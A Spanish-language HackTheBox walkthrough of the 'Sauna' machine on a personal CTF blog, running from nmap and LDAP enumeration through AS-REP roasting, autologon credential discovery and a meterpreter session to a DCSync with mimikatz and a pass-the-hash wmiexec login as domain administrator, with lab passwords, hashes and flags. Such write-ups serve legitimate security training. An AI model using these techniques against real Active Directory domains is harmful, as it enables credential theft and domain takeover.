f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

HTB{sauna}

summary

recon

nmap scan

PORT      STATE SERVICE       VERSION                                                            
53/tcp    open  domain?                                                                          
| fingerprint-strings:                                                                           
|   DNSVersionBindReqTCP:                                                                        
|     version                                 
|_    bind                                    
80/tcp    open  http          Microsoft IIS httpd 10.0                                           
| http-methods:                                                                                  
|   Supported Methods: OPTIONS TRACE GET HEAD POST                                               
|_  Potentially risky methods: TRACE                                                             
|_http-server-header: Microsoft-IIS/10.0                                                         
|_http-title: Egotistical Bank :: Home                                                           
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-15 13:53:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC                                              
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn               
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)                                                            
445/tcp   open  microsoft-ds?               
464/tcp   open  kpasswd5?                                                                                                                                                                          
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0                                
636/tcp   open  tcpwrapped                                                                       
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)                                                            
3269/tcp  open  tcpwrapped                                                                       
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)     
|_http-server-header: Microsoft-HTTPAPI/2.0                                                      
|_http-title: Not Found                                                                          
9389/tcp  open  mc-nmf        .NET Message Framing                                               
49667/tcp open  msrpc         Microsoft Windows RPC                                              
49673/tcp open  msrpc         Microsoft Windows RPC                                              
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0                                
49675/tcp open  msrpc         Microsoft Windows RPC                                              
49686/tcp open  msrpc         Microsoft Windows RPC                                              
54417/tcp open  msrpc         Microsoft Windows RPC                                              
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :                       
SF-Port53-TCP:V=7.80%I=7%D=3/15%Time=5E6DC281%P=x86_64-pc-linux-gnu%r(DNSV                       
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\                       
SF:x04bind\0\0\x10\0\x03");                                                                      
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows     
  • Webserver, smb, ldap.

  • Primero, el ldap:

ldapsearch -h 10.10.10.175 -p 389 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL"
# extended LDIF
#
# LDAPv3
# base <DC=EGOTISTICAL-BANK,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# EGOTISTICAL-BANK.LOCAL
dn: DC=EGOTISTICAL-BANK,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
instanceType: 5
whenCreated: 20200123054425.0Z
whenChanged: 20200315134240.0Z
subRefs: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
uSNCreated: 4099
dSASignature:: AQAAACgAAAAAAAAAAAAAAAAAAAAAAAAAQL7gs8Yl7ESyuZ/4XESy7A==
uSNChanged: 53269
name: EGOTISTICAL-BANK
objectGUID:: 7AZOUMEioUOTwM9IB/gzYw==
replUpToDateVector:: AgAAAAAAAAACAAAAAAAAAP1ahZJG3l5BqlZuakAj9gwL0AAAAAAAAM/Bf
 hQDAAAAQL7gs8Yl7ESyuZ/4XESy7AmwAAAAAAAA1ARSFAMAAAA=
creationTime: 132287533604381744
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -36288000000000
minPwdAge: -864000000000
minPwdLength: 7
modifiedCountAtLastProm: 0
nextRid: 1000
pwdProperties: 1
pwdHistoryLength: 24
objectSid:: AQQAAAAAAAUVAAAA+o7VsIowlbg+rLZG
serverState: 1
uASCompat: 1
modifiedCount: 1
auditingPolicy:: AAE=
nTMixedDomain: 0
rIDManagerReference: CN=RID Manager$,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
fSMORoleOwner: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name
 ,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
systemFlags: -1946157056
wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=EGOT
 ISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Progra
 m Data,DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=EGO
 TISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrin
 cipals,DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=
 EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=E
 GOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=EGO
 TISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=EGOTISTIC
 AL-BANK,DC=LOCAL
wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,
 DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AA312825768811D1ADED00C04FD8D5CD:CN=Computers,DC=EGOTIS
 TICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:A9D1CA15768811D1ADED00C04FD8D5CD:CN=Users,DC=EGOTISTICA
 L-BANK,DC=LOCAL
objectCategory: CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,D
 C=LOCAL
isCriticalSystemObject: TRUE
gPLink: [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=Syste
 m,DC=EGOTISTICAL-BANK,DC=LOCAL;0]
dSCorePropagationData: 16010101000000.0Z
otherWellKnownObjects: B:32:683A24E2E8164BD3AF86AC3C2CF3F981:CN=Keys,DC=EGOTIS
 TICAL-BANK,DC=LOCAL
otherWellKnownObjects: B:32:1EB93889E40C45DF9F0C64D23BBB6237:CN=Managed Servic
 e Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
ms-DS-MachineAccountQuota: 10
msDS-Behavior-Version: 7
msDS-PerUserTrustQuota: 1
msDS-AllUsersTrustQuota: 1000
msDS-PerUserTrustTombstonesQuota: 10
msDs-masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Na
 me,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
msDS-IsDomainFor: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-N
 ame,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
msDS-NcType: 0
msDS-ExpirePasswordsOnSmartCardOnlyAccounts: TRUE
dc: EGOTISTICAL-BANK

# Users, EGOTISTICAL-BANK.LOCAL
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL

# Computers, EGOTISTICAL-BANK.LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL

# Domain Controllers, EGOTISTICAL-BANK.LOCAL
dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL

# System, EGOTISTICAL-BANK.LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL

# LostAndFound, EGOTISTICAL-BANK.LOCAL
dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL

# Infrastructure, EGOTISTICAL-BANK.LOCAL
dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL

# ForeignSecurityPrincipals, EGOTISTICAL-BANK.LOCAL
dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL

# Program Data, EGOTISTICAL-BANK.LOCAL
dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL

# NTDS Quotas, EGOTISTICAL-BANK.LOCAL
dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL

# Managed Service Accounts, EGOTISTICAL-BANK.LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL

# Keys, EGOTISTICAL-BANK.LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL

# TPM Devices, EGOTISTICAL-BANK.LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL

# Builtin, EGOTISTICAL-BANK.LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL

# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

# search reference
ref: ldap://ForestDnsZones.EGOTISTICAL-BANK.LOCAL/DC=ForestDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

# search reference
ref: ldap://DomainDnsZones.EGOTISTICAL-BANK.LOCAL/DC=DomainDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

# search reference
ref: ldap://EGOTISTICAL-BANK.LOCAL/CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOC
 AL

# search result
search: 2
result: 0 Success

# numResponses: 19
# numEntries: 15
# numReferences: 3

De http://10.10.10.175/about.html, podemos obtener nombres de usuarios típicos, hacemos un pequeño wordlist.

fergus.smith
shaun.coins
hugo.bear
bowie.taylor
sophie.driver
steven.kerb
f.smith
s.coins
h.bear
b.taylor
s.driver
s.kerb
fergus.s
shaun.c
hugo.b
bowie.t
sophie.d
steven.k
fer.smith
sha.coins
hug.bear
bow.taylor
sop.driver
stev.kerb
fergus.smi
shaun.coi
hugo.bea
bowie.tay
sophie.dri
steven.ker
fergus.sm
shaun.co
hugo.be
bowie.ta
sophie.dri
steven.ke
fsmith
scoins
hbear
btaylor
sdriver
skerb2

Usamos el módulo de metasploit para enumerar usuarios en AD:

Falla en csmith, supongo que está presente, También podemos usar impacket “GetNPUsers.py”, de la explicación de tarlogic

The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS_REQ request to the KDC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. More detail in Kerberos theory.

user.txt

Básicamente, si logramos obtener un username válido, podríamos pedir "nuestra pw", via no-preauth:

Got one !

Crackeando, obtenemos la password de fsmith

2

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:Thestrokes232

Ahora, podemos explorar el smb.

Aunque de la misma manera, podemos entrar via winrm y obtener la flag.

root.txt

Primero, me encargué de sacar una meterpreter, via el método de MSBUILD.exe, mencionado en este blog.

Comenzamos a enumerar para sacar algo de ese usuario, ya que como fsmith, no podemos hacer mucho. Al hacer la query al registro de logon2 passwords, sale la pw del otro user (No salía con powerup.ps1 :sss), pero sí con WindowsEnum.ps1

------------------------------------------                                                                                     
  Logged in Users                                                                                                              
------------------------------------------                                                                                     

------------------------------------------                                                                                     
  Credential Manager                                                                                                           
------------------------------------------                                                                                     

------------------------------------------                                                                                     
  User Autologon Registry Items                                                                                                
------------------------------------------                                                                                     

DefaultDomainName DefaultUserName                 DefaultPassword                                                              
----------------- ---------------                 ---------------                                                              
EGOTISTICALBANK   EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!                                                   


svc_loanmgr:Moneymakestheworldgoround!

Entramos nuevamente con winrm y sacamos meterpreter. Con esto, corremos un SharpHound.ps1, para lograr ver de mejor manera todo en BH (Considerando que estamos en un contexto de DC).

De aquí, podemos ver que el usuario svg_loanmgr, tiene permisos de Getchangesall y GetChanges en el DC, por lo que podremos hacer un DCSYNC attack, básicamente es conseguir hashes via domain replication.

Como ya tengo meterpreter, usaré kiwi desde ahí (msf version of mimikatz):

meterpreter >                                                  
meterpreter > load kiwi                                        
Loading extension kiwi...                                                                                                      
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)                                                                              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)      
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                                                                         
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter > dcsync administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 1/24/2020 10:14:15 AM
Object Security ID   : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID   : 500

Credentials:

Con esto, ya podríamos haser PTH, para entrar como Administrator

root@Kali:/opt/mimi/x64# python /opt/impacket-0.9.20/examples/wmiexec.py -dc-ip 10.10.10.175 -hashes ee8c50e6bc332970a8e8a632488f5211:d9485863c1e9e05851aa40cbb4ab9dff EGOTISTICAL-BANK.local/administrator@10.10.10.175
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
C:\>type C:\users\administrator\desktop\root.txt
f3ee04965c68257
C:\>whoami
egotisticalbank\administrator

C:\>

root.txt:f3ee04965c68257382e31502cc5e881f